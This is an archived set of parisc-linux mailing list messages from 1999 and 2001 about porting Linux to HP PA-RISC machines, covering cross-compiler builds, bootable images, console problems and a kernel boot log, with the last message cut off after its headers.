Date: Wed, 17 Jan 2001 23:28:12 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <3A661C7C.572FC06B@esiee.fr>
References: <3A64D26B.B99BAE70@esiee.fr> <20010116231823.K20275@parcelfarce.linux.theplanet.co.uk> <3A65319E.5B312160@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619553 10588 80.91.229.3 (22 Nov 2014 01:25:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:53 +0000 (UTC)
To: Alex deVries <alex@linuxcare.com>, parisc-linux@thepuffingroup.com
Original-X-From: delahaym@esiee.fr  Wed Jan 17 15:24:56 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA30538
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 15:24:55 -0700
Original-Received: (qmail 4673 invoked by uid 15267); 17 Jan 2001 22:28:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4665 invoked from network); 17 Jan 2001 22:28:39 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 22:28:39 -0000
Original-Received: from pc5158a.esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 9E5FAD1585; Wed, 17 Jan 2001 23:28:12 +0100 (CET)
Original-Received: from localhost
	([127.0.0.1] helo=esiee.fr ident=delahaym)
	by pc5158a.esiee.fr with esmtp (Exim 3.12 #1 (Debian))
	id 14J13s-0000oT-00; Wed, 17 Jan 2001 23:28:12 +0100
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9265

Alex deVries wrote:

> Matthieu, it's good to hear about the gain control patches.  Now go sort
> out the 16 bit audio format problem! :)
>

Ok. We now start working on 16 bit audio (and others formats).
More over we'll have a look on the two unexpeted clicks at the begining
of each sound resitution.

Matthieu Delahaye
ESIEE Team
http://www.esiee.fr/puffin


From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Creating a bootable image.
Date: Tue, 1 Jun 1999 00:33:05 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990601002832.8814F-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619553 10589 80.91.229.3 (22 Nov 2014 01:25:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Mon May 31 22:34:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA07394
	for <parisc-linux@puffin.external.hp.com>; Mon, 31 May 1999 22:33:59 -0600
Original-Received: (qmail 13318 invoked by uid 15267); 1 Jun 1999 04:33:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13298 invoked from network); 1 Jun 1999 04:33:16 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 04:33:16 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id AAA18820
	for <parisc-linux@thepuffingroup.com>; Tue, 1 Jun 1999 00:33:05 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:9266


I'm mailing this because I'm not entirely sure what I'm doing is correct.

The way I understand it, the kernel we cross compile on Linux is in fact
a broken ELF32 file, which doesn't really matter, because at this point we
don't need the kernel to have any loader information itself.  My theory is
that the kernel itself can be cross compiled properly regardless of how
messed our loader formats are.

However, to actually boot you need IPL, which requires SOM linking, so
that much must be done on HPUX.

What I'm doing is to add a binary prebuilt version of IPL into the kernel
source tree, and enough glue so you can just do:

make bootable

and it'll create a kernel and boot header that should just boot right
away.  That way to do kernel work (and not bootstrap work), you don't need
HPUX at all.

Does that make sense?

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New XC available (was Re: glibc build failing)
Date: Wed, 17 Jan 2001 16:37:00 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <20010117233700.B324F38D85@carmen.fc.hp.com>
References: <20010117131541.L28638@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619553 10592 80.91.229.3 (22 Nov 2014 01:25:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: taggart@carmen.fc.hp.com  Wed Jan 17 16:31:24 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA31141
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 16:31:23 -0700
Original-Received: (qmail 5055 invoked by uid 15267); 17 Jan 2001 23:35:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5002 invoked from network); 17 Jan 2001 23:35:04 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 23:35:04 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 3FBF15AC; Wed, 17 Jan 2001 18:35:04 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id B324F38D85; Wed, 17 Jan 2001 16:37:00 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Wed, 17 Jan 2001 13:15:41 GMT." <20010117131541.L28638@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9267


Richard Hirst writes...

> Guess this is for Alan and Matt really...
> 
> I am trying to build glibc using todays cvs main branch.  Building on
> x86 for parisc.  This is what I do:
[snip]
> And this is what happens...
[snip]
> ../sysdeps/generic/glob.c: In function `glob_in_dir':
> ../sysdeps/generic/glob.c:1446: Internal compiler error in eliminate_regs, at
>  reload1.c:2505
>    Please submit a full bug report.
>    See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
> make[2]: *** [/mnt/parisc/xc/build/glibc/posix/glob.o] Error 1
> make[2]: Leaving directory `/mnt/parisc/xc/source/glibc/posix'
> make[1]: *** [posix/subdir_lib] Error 2
> make[1]: Leaving directory `/mnt/parisc/xc/source/glibc'
> make: *** [install] Error 2

Yes I saw the same thing.

> The change that seems to have triggered this is in glibc/Makeconfig, 
> to build with -O2 rather that -O

Yeah it looks like this segment,

348 ifeq ($(release),stable)
349 default_cflags := -g -O2
350 else
351 default_cflags := -g -O
352 endif

Up till this merge we were still running bits from September 25th which didn't 
have a "stable" number. So someone needs to make our glibc -O2 clean.

OK, I switched to -O and built a new xc(x86->hppa). I was able to build/boot a 
kernel, and build/run a hello world program. The new xc is at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010117.tar.gz

Please let me know if you have any problems with it.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP E55 server (model 9000/856) // PDC console ?
Date: Thu, 18 Jan 2001 00:58:55 +0100
Organization: private
Lines: 29
Approved: news@gmane.org
Message-ID: <3A6631BF.3E95C0C2@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619554 10598 80.91.229.3 (22 Nov 2014 01:25:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@dot.at  Wed Jan 17 16:55:16 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA31604
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 16:55:15 -0700
Original-Received: (qmail 4736 invoked by uid 15267); 17 Jan 2001 23:58:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4728 invoked from network); 17 Jan 2001 23:58:59 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 23:58:59 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-039.dot.at [212.9.128.79])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id BAA28550
	for <parisc-linux@thepuffingroup.com>; Thu, 18 Jan 2001 01:05:33 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9268

Hello HP hackers !

I have beside the HP apollo 700 series (9000/720) a
server machine, the HP E55 (model 9000/856). As far as I saw
on the hardware page of the puffin group, the SCSI controller
and the multi-port serial is not supported.

Is this really so ? 
Is there a solution for that ?

I also want to cantact HP for documentation.


Is there a possibility to use the PDC console as system console.
Now the kernel says
	Switching from PDC console
and no further output is there, as the PDC console runs on the
port-0 of the serial multi-port board. If I can continue to use
the PDC console, I can perhaps try to boot NFS !

With friendly regards
	Christoph


-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 700 serie 9000/720 already problems !
Date: Thu, 18 Jan 2001 00:51:19 +0100
Organization: private
Lines: 273
Approved: news@gmane.org
Message-ID: <3A662FF7.9DF101AC@dot.at>
References: <200101170505.VAA12466@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619554 10602 80.91.229.3 (22 Nov 2014 01:25:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, grundler@milano.cup.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: christoph.plattner@dot.at  Wed Jan 17 16:57:20 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA31735
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 16:57:20 -0700
Original-Received: (qmail 7690 invoked by uid 15267); 18 Jan 2001 00:01:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7671 invoked from network); 18 Jan 2001 00:01:03 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 00:01:03 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-039.dot.at [212.9.128.79])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id AAA28474;
	Thu, 18 Jan 2001 00:57:57 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9269

Hello again !

I have the exactly same problem with the 0.5 image (cd), as I tried
to use this as root file system vie NFS. I got the same error message.
And to boot the CD, the system crashes inside the kernel stuff, 
perhaps in connection with the parallel port.

The SCSI problem is no problem at this point. I want to have
one time a bash, I never got it, although I am experiented in setting
Linux and UNIX boxes, have experiences in the Netboot/Etherboot stuff
and I also installed Linux on a SUN, etc....

Here I seem to have a special problem. Is my machine unable to 
run any code of this.
The other HP is a E55 (9000/856) server, but the multi-port serial
and the SCSI is not supported in the Linux (yet, or forever). So I
cannot boot this machine, as the first serial line of this multi-port
board is the serial console (and the only console of this machine).
So the last kernel message I see is:
	Switching from PDC console

I hope anybody can help here

	Christoph



Grant Grundler wrote:
> 
> Christoph Plattner wrote:
> > The SCSI probing has a problem with the device ID0, a floppy on a
> > SCSI adapter. Ok, forget it.
> 
> Don't forget. That should respond like a standard SCSI device.
> Is the device known to work and the SCSI bus configuration ok?
> 
> > Warning: unable to open an initial console.
> 
> This is typically a problem with "console" parameter passed to Palo.
> (boot loader).  Check the mail archive for comments about CONFIG_STI_CONSOLE
> (and CONFIG_SERIAL_CONSOLE) and "console" parameter in
> the palo Makefile.
> 
> > Can you give me a short explanation of this dump.
> > On the HP I don't know the registers (on intel I do !).
> > Which describes the instrunction pointer to have a look
> > in the System.map. Is this IIR ?
> 
> IOAQ. GR02 is the return ptr.
> See devresources.hp.com or www.parisc-linux.org for PA 1.1 Arch docs.
> 
> > The init I tried (the last attempt) was a fresh build `init'
> > from the init-2.77 package with the cross compiler by setting
> > the CC= varibale. The build could be done and a check with the
> > command `file' described the correct image.
> 
> You might try downloading and pulling the init from palinux-v0.5.iso.
> 
> > What is this for a problem ???
> >
> > I will add the complete boot log below.
> >
> > Trying scsi.4.0
> > Boot path initialized.
> > Attempting to load IPL.
> >
> >
> > Hard booted.
> > palo ipl root@didymos.pladom1.at Sun Jan 14 12:44:07 CET 2001
> > 0/vmlinux 2106807 bytes @ 0x6800
> > 0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs
> > nfsroot=196.1.1.20:/tf
> > tpboot/apollo/root console=ttyS0'
> > Kernel: partition 0 file /vmlinux
> > ELF32 executable
> >
> > Entry 00100150 first 00000000 n 3
> > Segment 0 load 00000000 size 288 mediaptr 0x1000
> > Segment 1 load 00100000 size 1409924 mediaptr 0x2000
> > Segment 2 load 0025a000 size 294912 mediaptr 0x15b000
> > branching to kernel entry point 0x00100150
> > PDC Console Initialized
> > The 32-bit Kernel has started...
> > Enabled FP coprocessor
> > Free memory starts at: 0xc02cb000
> > start_parisc(0x504d70,0x504d70,0x0,0x0)
> > PALO command line: 'HOME=/ TERM=linux root=/dev/nfs
> > nfsroot=196.1.1.20:/tftpboot
> > /apollo/root console=ttyS0'
> > PALO initrd 0-0
> > model   00002000 00000481 00000000 00000000 0234072e 000011f4 00000004
> > 0000000d
> > 00000000
> > vers    00000003
> > CPUID   vers 0 rev 0
> > model   9000/720
> > led_init: CPU_HVERSION 200
> > Searching for devices in PDC firmware... processor hpa 0xfffbe000
> >  an older box...
> > Found devices:
> > 1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77, 0x0,
> > 0x0
> > 2. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0
> > 3. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0
> > 4. Cobra Core LAN (802.3) (10) at 0xf0826000, versions 0x4, 0x0, 0x72,
> > 0x0, 0x0
> > 5. Cobra Core HIL (10) at 0xf0821000, versions 0x4, 0x0, 0x73, 0x0, 0x0
> > 6. Cobra Core RS-232 (10) at 0xf0823000, versions 0x4, 0x0, 0x75, 0x0,
> > 0x0
> > 7. Cobra Core RS-232 (10) at 0xf0822000, versions 0x4, 0x0, 0x75, 0x0,
> > 0x0
> > 8. Cobra Core Centronics (10) at 0xf0824000, versions 0x4, 0x0, 0x74,
> > 0x0, 0x0
> > 9. Cobra (720) (0) at 0xfffbe000, versions 0x200, 0x0, 0x4, 0x0, 0x81
> > 10. Cobra (1) at 0xfffbf000, versions 0x13, 0x0, 0x9, 0x0, 0x0
> > That's a total of 10 devices.
> > CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz
> > Linux version 2.4.0-test10 (root@didymos.pladom1.at) (gcc version 2.96
> > 20000925
> > (experimental)) #2 Sun Jan 14 13:11:36 CET 2001
> > free_bootmem(0x2cb800, 0x3d34800)
> > initrd: 00000000-00000000
> > pagetable_init
> > On node 0 totalpages: 16384
> > zone(0): 8192 pages.
> > zone(1): 8192 pages.
> > zone(2): 0 pages.
> > Kernel command line: HOME=/ TERM=linux root=/dev/nfs
> > nfsroot=196.1.1.20:/tftpboot/apollo/root console=ttyS0
> > trap_init
> > Error reading tod clock
> > Calibrating delay loop... 49.77 BogoMIPS
> > Memory: 61512k available
> > Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
> > Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
> > Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
> > Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
> > POSIX conformance testing by UNIFIX
> > ASP version 1 at 0xf0800000 found.
> > LED (ASP-style) display at 00000000 registered
> > Found i82596 at 0xf0826000, IRQ 87
> > early initialization of device eth0 is deferred
> > Linux NET4.0 for Linux 2.4
> > Based upon Swansea University Computer Society NET3.039
> > Starting kswapd v1.8
> > pty: 256 Unix98 ptys configured
> > RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> > loop: enabling 8 loop devices
> > 82596.c: MAC of HP700 LAN blindely read from the prom!
> > eth0: Couldn't get consistent shared memory
> > eth0: 82596 at 0xf0826000, 08 00 09 24 64 06 IRQ 87.
> > 82596.c $Revision: 1.14 $
> > Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
> > SERIAL_PCI ena
> > bled
> > ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
> > ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
> > Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
> > SCSI subsystem driver Revision: 1.00
> > sim700: Couldn't get consistent shared memory
> > sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86
> > scsi0: Revision 0x0
> > Post test1, istat 05, sstat0 00, dstat 84
> > sim700: WARNING IRQ probe failed, (returned 0)
> > scsi0: WARNING: target data areas are not dma coherent!
> > scsi0: test 1 completed ok.
> > scsi0 : LASI/Simple 53c7xx
> > scsi0: Unable to abort command for target 0
> > scsi0: Unable to send Bus Device Reset for target 0
> > scsi0: Unable to do SCSI bus reset
> > scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> > scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
> > scsi0: dsp = 03f98058 (script[0x0016]), dsps = 03f98cee, target = 0
> > scsi0: Failing command for ID0
> > scsi0: Unable to abort command for target 0
> > scsi0: Unable to abort command for target 1
> > scsi0: Unable to send Bus Device Reset for target 1
> > scsi0: Unable to do SCSI bus reset
> > scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> > scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
> > scsi0: dsp = 03f98058 (script[0x0016]), dsps = 03f98cee, target = 0
> > scsi0: Failing command for ID0
> >   Vendor: SEAGATE   Model: ST1480   SUN0424  Rev: 7516
> >   Type:   Direct-Access                      ANSI SCSI revision: 02
> >   Vendor: QUANTUM   Model: PD425S            Rev: 535A
> >   Type:   Direct-Access                      ANSI SCSI revision: 02
> > Detected scsi disk sda at scsi0, channel 0, id 4, lun 0
> > Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
> > SCSI device sda: 843284 512-byte hdwr sectors (432 MB)
> > Partition check:
> >  sda: unknown partition table
> > SCSI device sdb: 833150 512-byte hdwr sectors (427 MB)
> >  sdb: unknown partition table
> > NET4: Linux TCP/IP 1.0 for NET4.0
> > IP Protocols: ICMP, UDP, TCP
> > IP: routing cache hash table of 512 buckets, 4Kbytes
> > TCP: Hash tables configured (established 4096 bind 4096)
> > eth0: link ok.
> > Sending BOOTP requests.... OK
> > IP-Config: Got BOOTP answer from 196.1.1.20, my address is 196.1.1.110
> > NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> > kmem_create: Forcing size word alignment - nfs_fh
> > Looking up port of RPC 100003/2 on 196.1.1.20
> > Looking up port of RPC 100005/2 on 196.1.1.20
> > VFS: Mounted root (nfs filesystem) readonly.
> > Warning: unable to open an initial console.
> >
> > handle_interruption() pid=1 command='init'
> >
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00000000000001001000000100001011
> > r0-3     00000000 40019b48 40002dfb 40001504
> > r4-7     40019b48 40000384 4000ec30 400198f4
> > r8-11    bb000148 40002d4c 400002f4 00000000
> > r12-15   00000081 00000080 bb0002f0 bb000048
> > r16-19   00000000 c02a0640 00000000 40019b48
> > r20-23   00000041 40000000 40000000 00000000
> > r24-27   40000000 00000001 bb000148 c011a800
> > r28-31   00000021 bb000148 bb0003c0 40002daf
> > sr0-3    00000000 00000000 00000000 0000ffff
> > sr4-7    00000001 00000001 00000001 00000001
> >
> > IASQ: 00000001 00000001 IAOQ: 40003393 40003397
> >  IIR: 0ce61280    ISR: 00000001  IOR: 400198f4
> > ORIG_R28: 00000000
> >
> > handle_interruption() pid=1 command='init'
> >
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00000000000001001000000100001011
> > r0-3     00000000 40019b48 40002dfb 40001504
> > r4-7     40019b48 40000384 4000ec30 400198f4
> > r8-11    bb000148 40002d4c 400002f4 00000000
> > r12-15   00000081 00000080 bb0002f0 bb000048
> > r16-19   00000000 c02a0640 00000000 40019b48
> > r20-23   00000041 40000000 40000000 00000000
> > r24-27   40000000 00000001 bb000148 c011a800
> > r28-31   00000021 bb000148 bb0003c0 40002daf
> > sr0-3    00000000 00000000 00000000 0000ffff
> > sr4-7    00000001 00000001 00000001 00000001
> >
> > IASQ: 00000001 00000001 IAOQ: 40003393 40003397
> >  IIR: 0ce61280    ISR: 00000001  IOR: 400198f4
> > ORIG_R28: 00000000
> >
> > :
> > :
> > : ... and so on ...
> >
> >
> >
> > -------------------------------------------------------------------------
> > private:        christoph.plattner@dot.at
> > company:        christoph.plattner@alcatel.at
> >
> > ---------------------------------------------------------------------------
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.
> >
> 
> Grant Grundler
> Unix Systems Enablement Lab
> +1.408.447.7253
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting 742
Date: Wed, 17 Jan 2001 17:34:40 -0700 (MST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200101180034.RAA03220@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619554 10604 80.91.229.3 (22 Nov 2014 01:25:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:54 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Jan 17 17:32:21 2001
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA32709
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 17:32:19 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id DB51E1445
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 19:35:55 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id RAA03220 for parisc-linux@puffin.external.hp.com; Wed, 17 Jan 2001 17:34:40 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:9270

> Only vaguely - A seperate group in HP supports/developes the "industrial"
> workstations since they run RTE (not HPUX) on them. AFAIK, many of those
> boxes are similar to B-class workstations w/PXC-L or -L2. I have no clue
> how the VME bus is supported - ie bus interface chip or such.

No, they do not run RTE. I don't think RTE ever ran on a parisc box
natively, although I believe there were some translator/emulator
code that allowed RTE binaries to run on parisc.

The 74x series boxes all ran both HP-UX and HP-UX/RT. HP-UX/RT is
probably what you were thinking of. It was a third party based real
time unix variant that HP modified to support some level of binary
compatibility with HP-UX.

They very definitely had a normal PDC and you should at least be able to
get serial output (as long as you set the console to serial) until the
Linux kernel switches from the PDC console.  As Matthew has already
mentioned, the 742 is pretty similar to a 715, so I think you should be
able to get serial output beyond that point as long as you have configured
the kernel for serial console.

I don't have any information regarding the VME bus. I believe there was
another HP proprietary bus bridge chip that would need to be programmed.

John


From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting 742
Date: Wed, 17 Jan 2001 16:47:29 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <200101180047.QAA13749@milano.cup.hp.com>
References: <200101180034.RAA03220@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619555 10609 80.91.229.3 (22 Nov 2014 01:25:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:55 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: grundler@cup.hp.com  Wed Jan 17 17:43:27 2001
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA00775
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 17:43:26 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 972FFF5
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 16:47:09 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA13749;
	Wed, 17 Jan 2001 16:47:44 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 17 Jan 2001 17:34:40 PST."
             <200101180034.RAA03220@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9271

John Marvin wrote:

> The 74x series boxes all ran both HP-UX and HP-UX/RT.
> HP-UX/RT is probably what you were thinking of.

it was - sorry.

thanks,
grant


From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Thu, 18 Jan 2001 01:04:08 -0500 (EST)
Lines: 142
Approved: news@gmane.org
Message-ID: <200101180604.BAA18964@hiauly1.hia.nrc.ca>
References: <25409.979767732@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
